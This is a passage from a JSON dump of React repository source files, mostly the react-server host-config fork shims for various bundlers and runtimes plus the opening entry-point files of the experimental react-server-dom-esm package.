canHavePreamble = $$$config.canHavePreamble;\nexport const isPreambleContext = $$$config.isPreambleContext;\nexport const isPreambleReady = $$$config.isPreambleReady;\nexport const hoistPreambleState = $$$config.hoistPreambleState;\n\n// -------------------------\n//     Resources\n// -------------------------\nexport const writePreambleStart = $$$config.writePreambleStart;\nexport const writePreambleEnd = $$$config.writePreambleEnd;\nexport const writeHoistables = $$$config.writeHoistables;\nexport const writeHoistablesForBoundary = $$$config.writeHoistablesForBoundary;\nexport const writePostamble = $$$config.writePostamble;\nexport const hoistHoistables = $$$config.hoistHoistables;\nexport const createHoistableState = $$$config.createHoistableState;\nexport const hasSuspenseyContent = $$$config.hasSuspenseyContent;\nexport const emitEarlyPreloads = $$$config.emitEarlyPreloads;\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.custom.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from '../ReactFlightServerConfigBundlerCustom';\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigPlain';\n\nexport type Hints = any;\nexport type HintCode = any;\n// eslint-disable-next-line no-unused-vars\nexport type HintModel<T: any> = any;\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const supportsComponentStorage = false;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  (null: any);\n\nexport function createHints(): any {\n  return null;\n}\n\nexport type FormatContext = null;\n\nexport function createRootFormatContext(): FormatContext {\n  return null;\n}\n\nexport function getChildFormatContext(\n  parentContext: FormatContext,\n  type: string,\n  props: Object,\n): FormatContext {\n  return parentContext;\n}\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-esm.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-esm/src/server/ReactFlightServerConfigESMBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const supportsComponentStorage = false;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigBrowser';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-parcel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-parcel/src/server/ReactFlightServerConfigParcelBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const supportsComponentStorage = false;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigBrowser';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-turbopack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-turbopack/src/server/ReactFlightServerConfigTurbopackBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const supportsComponentStorage = false;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigBrowser';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-webpack/src/server/ReactFlightServerConfigWebpackBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const supportsComponentStorage = false;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigBrowser';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-bun.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from '../ReactFlightServerConfigBundlerCustom';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const supportsComponentStorage = false;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigPlain';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-edge-parcel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-parcel/src/server/ReactFlightServerConfigParcelBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\n// For now, we get this from the global scope, but this will likely move to a module.\nexport const supportsRequestStorage = typeof AsyncLocalStorage === 'function';\nexport const requestStorage: AsyncLocalStorage<Request | void> =\n  supportsRequestStorage ? new AsyncLocalStorage() : (null: any);\n\nexport const supportsComponentStorage: boolean =\n  __DEV__ && supportsRequestStorage;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigServer';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-edge-turbopack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-turbopack/src/server/ReactFlightServerConfigTurbopackBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\n// For now, we get this from the global scope, but this will likely move to a module.\nexport const supportsRequestStorage = typeof AsyncLocalStorage === 'function';\nexport const requestStorage: AsyncLocalStorage<Request | void> =\n  supportsRequestStorage ? new AsyncLocalStorage() : (null: any);\n\nexport const supportsComponentStorage: boolean =\n  __DEV__ && supportsRequestStorage;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigServer';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-webpack/src/server/ReactFlightServerConfigWebpackBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\n// For now, we get this from the global scope, but this will likely move to a module.\nexport const supportsRequestStorage = typeof AsyncLocalStorage === 'function';\nexport const requestStorage: AsyncLocalStorage<Request | void> =\n  supportsRequestStorage ? new AsyncLocalStorage() : (null: any);\n\nexport const supportsComponentStorage: boolean =\n  __DEV__ && supportsRequestStorage;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigServer';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-legacy.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from '../ReactFlightServerConfigBundlerCustom';\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigServer';\n\nexport type Hints = any;\nexport type HintCode = any;\n// eslint-disable-next-line no-unused-vars\nexport type HintModel<T: any> = any;\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const supportsComponentStorage = false;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  (null: any);\n\nexport function createHints(): any {\n  return null;\n}\n\nexport type FormatContext = null;\n\nexport function createRootFormatContext(): FormatContext {\n  return null;\n}\n\nexport function getChildFormatContext(\n  parentContext: FormatContext,\n  type: string,\n  props: Object,\n): FormatContext {\n  return parentContext;\n}\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-node-esm.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {AsyncLocalStorage} from 'async_hooks';\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-esm/src/server/ReactFlightServerConfigESMBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\nexport const supportsRequestStorage = true;\nexport const requestStorage: AsyncLocalStorage<Request | void> =\n  new AsyncLocalStorage();\n\nexport const supportsComponentStorage = __DEV__;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNode';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigServer';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-node-parcel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {AsyncLocalStorage} from 'async_hooks';\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-parcel/src/server/ReactFlightServerConfigParcelBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\nexport const supportsRequestStorage = true;\nexport const requestStorage: AsyncLocalStorage<Request | void> =\n  new AsyncLocalStorage();\n\nexport const supportsComponentStorage = __DEV__;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNode';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigServer';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-node-turbopack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {AsyncLocalStorage} from 'async_hooks';\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-turbopack/src/server/ReactFlightServerConfigTurbopackBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\nexport const supportsRequestStorage = true;\nexport const requestStorage: AsyncLocalStorage<Request | void> =\n  new AsyncLocalStorage();\n\nexport const supportsComponentStorage = __DEV__;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNode';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigServer';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-node-unbundled.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {AsyncLocalStorage} from 'async_hooks';\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-unbundled/src/server/ReactFlightServerConfigUnbundledBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\nexport const supportsRequestStorage = true;\nexport const requestStorage: AsyncLocalStorage<Request | void> =\n  new AsyncLocalStorage();\n\nexport const supportsComponentStorage = __DEV__;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNode';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigServer';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.dom-node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {AsyncLocalStorage} from 'async_hooks';\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from 'react-server-dom-webpack/src/server/ReactFlightServerConfigWebpackBundler';\nexport * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';\n\nexport const supportsRequestStorage = true;\nexport const requestStorage: AsyncLocalStorage<Request | void> =\n  new AsyncLocalStorage();\n\nexport const supportsComponentStorage = __DEV__;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNode';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigServer';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.markup.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\n\nexport type HintCode = string;\nexport type HintModel<T: HintCode> = null; // eslint-disable-line no-unused-vars\nexport type Hints = null;\n\nexport function createHints(): Hints {\n  return null;\n}\n\nexport type FormatContext = null;\n\nexport function createRootFormatContext(): FormatContext {\n  return null;\n}\n\nexport function getChildFormatContext(\n  parentContext: FormatContext,\n  type: string,\n  props: Object,\n): FormatContext {\n  return parentContext;\n}\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const supportsComponentStorage = false;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  (null: any);\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigPlain';\n\nexport type ClientManifest = null;\nexport opaque type ClientReference<T> = null; // eslint-disable-line no-unused-vars\nexport opaque type ServerReference<T> = null; // eslint-disable-line no-unused-vars\nexport opaque type ClientReferenceMetadata: any = null;\nexport opaque type ServerReferenceId: string = string;\nexport opaque type ClientReferenceKey: any = string;\n\nconst CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference');\nconst SERVER_REFERENCE_TAG = Symbol.for('react.server.reference');\n\nexport function isClientReference(reference: Object): boolean {\n  return reference.$$typeof === CLIENT_REFERENCE_TAG;\n}\n\nexport function isServerReference(reference: Object): boolean {\n  return reference.$$typeof === SERVER_REFERENCE_TAG;\n}\n\nexport function getClientReferenceKey(\n  reference: ClientReference<any>,\n): ClientReferenceKey {\n  throw new Error(\n    'Attempted to render a Client Component from renderToHTML. ' +\n      'This is not supported since it will never hydrate. ' +\n      'Only render Server Components with renderToHTML.',\n  );\n}\n\nexport function resolveClientReferenceMetadata<T>(\n  config: ClientManifest,\n  clientReference: ClientReference<T>,\n): ClientReferenceMetadata {\n  throw new Error(\n    'Attempted to render a Client Component from renderToHTML. ' +\n      'This is not supported since it will never hydrate. ' +\n      'Only render Server Components with renderToHTML.',\n  );\n}\n\nexport function getServerReferenceId<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): ServerReferenceId {\n  throw new Error(\n    'Attempted to render a Server Action from renderToHTML. ' +\n      'This is not supported since it varies by version of the app. ' +\n      'Use a fixed URL for any forms instead.',\n  );\n}\n\nexport function getServerReferenceBoundArguments<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): null | Array<ReactClientValue> {\n  throw new Error(\n    'Attempted to render a Server Action from renderToHTML. ' +\n      'This is not supported since it varies by version of the app. ' +\n      'Use a fixed URL for any forms instead.',\n  );\n}\n\nexport function getServerReferenceLocation<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): void {\n  return undefined;\n}\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFlightServerConfig.noop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Request} from 'react-server/src/ReactFlightServer';\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nexport * from '../ReactFlightServerConfigBundlerCustom';\n\nexport * from '../ReactFlightServerConfigDebugNoop';\n\nexport * from '../ReactFlightStackConfigV8';\nexport * from '../ReactServerConsoleConfigPlain';\n\nexport type Hints = null;\nexport type HintCode = string;\nexport type HintModel<T: HintCode> = null; // eslint-disable-line no-unused-vars\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const supportsComponentStorage = false;\nexport const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =\n  (null: any);\n\nexport function createHints(): Hints {\n  return null;\n}\n\nexport type FormatContext = null;\n\nexport function createRootFormatContext(): FormatContext {\n  return null;\n}\n\nexport function getChildFormatContext(\n  parentContext: FormatContext,\n  type: string,\n  props: Object,\n): FormatContext {\n  return parentContext;\n}\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactServerStreamConfig.custom.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a host config that's used for the `react-server` package on npm.\n// It is only used by third-party renderers.\n//\n// Its API lets you pass the host config as an argument.\n// However, inside the `react-server` we treat host config as a module.\n// This file is a shim between two worlds.\n//\n// It works because the `react-server` bundle is wrapped in something like:\n//\n// module.exports = function ($$$config) {\n//   /* renderer code */\n// }\n//\n// So `$$$config` looks like a global variable, but it's\n// really an argument to a top-level wrapping function.\n\ndeclare const $$$config: any;\nexport opaque type Destination = mixed;\n\nexport opaque type PrecomputedChunk = mixed;\nexport opaque type Chunk = mixed;\nexport opaque type BinaryChunk = mixed;\n\nexport const scheduleWork = $$$config.scheduleWork;\nexport const scheduleMicrotask = $$$config.scheduleMicrotask;\nexport const beginWriting = $$$config.beginWriting;\nexport const writeChunk = $$$config.writeChunk;\nexport const writeChunkAndReturn = $$$config.writeChunkAndReturn;\nexport const completeWriting = $$$config.completeWriting;\nexport const flushBuffered = $$$config.flushBuffered;\nexport const close = $$$config.close;\nexport const closeWithError = $$$config.closeWithError;\nexport const stringToChunk = $$$config.stringToChunk;\nexport const stringToPrecomputedChunk = $$$config.stringToPrecomputedChunk;\nexport const typedArrayToBinaryChunk = $$$config.typedArrayToBinaryChunk;\nexport const byteLengthOfChunk = $$$config.byteLengthOfChunk;\nexport const byteLengthOfBinaryChunk = $$$config.byteLengthOfBinaryChunk;\nexport const createFastHash = $$$config.createFastHash;\nexport const readAsDataURL = $$$config.readAsDataURL;\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactServerStreamConfig.dom-browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from '../ReactServerStreamConfigBrowser';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactServerStreamConfig.dom-bun.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from '../ReactServerStreamConfigBun';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactServerStreamConfig.dom-edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from '../ReactServerStreamConfigEdge';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactServerStreamConfig.dom-fb.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from '../ReactServerStreamConfigFB';\n\nexport function scheduleMicrotask(callback: () => void) {\n  // We don't schedule work in this model, and instead expect performWork to always be called repeatedly.\n}\n\nexport function scheduleWork(callback: () => void) {\n  // We don't schedule work in this model, and instead expect performWork to always be called repeatedly.\n}\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactServerStreamConfig.dom-legacy.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from 'react-dom-bindings/src/server/ReactDOMLegacyServerStreamConfig';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactServerStreamConfig.dom-node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from '../ReactServerStreamConfigNode';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactServerStreamConfig.markup.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from 'react-dom-bindings/src/server/ReactDOMLegacyServerStreamConfig';\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactServerStreamConfig.noop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a host config that's used for the `react-server` package on npm.\n// It is only used by third-party renderers.\n//\n// Its API lets you pass the host config as an argument.\n// However, inside the `react-server` we treat host config as a module.\n// This file is a shim between two worlds.\n//\n// It works because the `react-server` bundle is wrapped in something like:\n//\n// module.exports = function ($$$config) {\n//   /* renderer code */\n// }\n//\n// So `$$$config` looks like a global variable, but it's\n// really an argument to a top-level wrapping function.\n\ndeclare const $$$config: $FlowFixMe;\nexport opaque type Destination = mixed;\n\nexport opaque type PrecomputedChunk = mixed;\nexport opaque type Chunk = mixed;\nexport opaque type BinaryChunk = mixed;\n\nexport const scheduleWork = $$$config.scheduleWork;\nexport const scheduleMicrotask = $$$config.scheduleMicrotask;\nexport const beginWriting = $$$config.beginWriting;\nexport const writeChunk = $$$config.writeChunk;\nexport const writeChunkAndReturn = $$$config.writeChunkAndReturn;\nexport const completeWriting = $$$config.completeWriting;\nexport const flushBuffered = $$$config.flushBuffered;\nexport const close = $$$config.close;\nexport const closeWithError = $$$config.closeWithError;\nexport const stringToChunk = $$$config.stringToChunk;\nexport const stringToPrecomputedChunk = $$$config.stringToPrecomputedChunk;\nexport const typedArrayToBinaryChunk = $$$config.typedArrayToBinaryChunk;\nexport const byteLengthOfChunk = $$$config.byteLengthOfChunk;\nexport const byteLengthOfBinaryChunk = $$$config.byteLengthOfBinaryChunk;\nexport const createFastHash = $$$config.createFastHash;\nexport const readAsDataURL = $$$config.readAsDataURL;\n"
  },
  {
    "path": "packages/react-server-dom-esm/README.md",
    "content": "# react-server-dom-esm\n\nExperimental React Flight bindings for DOM using ESM.\n\n**Use it at your own risk.**\n"
  },
  {
    "path": "packages/react-server-dom-esm/client.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/ReactFlightDOMClientBrowser';\n"
  },
  {
    "path": "packages/react-server-dom-esm/client.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './client.browser';\n"
  },
  {
    "path": "packages/react-server-dom-esm/client.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/ReactFlightDOMClientNode';\n"
  },
  {
    "path": "packages/react-server-dom-esm/esm/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/esm/react-server-dom-esm-node-loader.production.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from '../src/ReactFlightESMNodeLoader.js';\n"
  },
  {
    "path": "packages/react-server-dom-esm/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error('Use react-server-dom-esm/client instead.');\n"
  },
  {
    "path": "packages/react-server-dom-esm/npm/client.browser.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-esm-client.browser.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-esm-client.browser.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/npm/client.js",
    "content": "'use strict';\n\nmodule.exports = require('./client.browser');\n"
  },
  {
    "path": "packages/react-server-dom-esm/npm/client.node.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-esm-client.node.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-esm-client.node.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/npm/esm/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/npm/index.js",
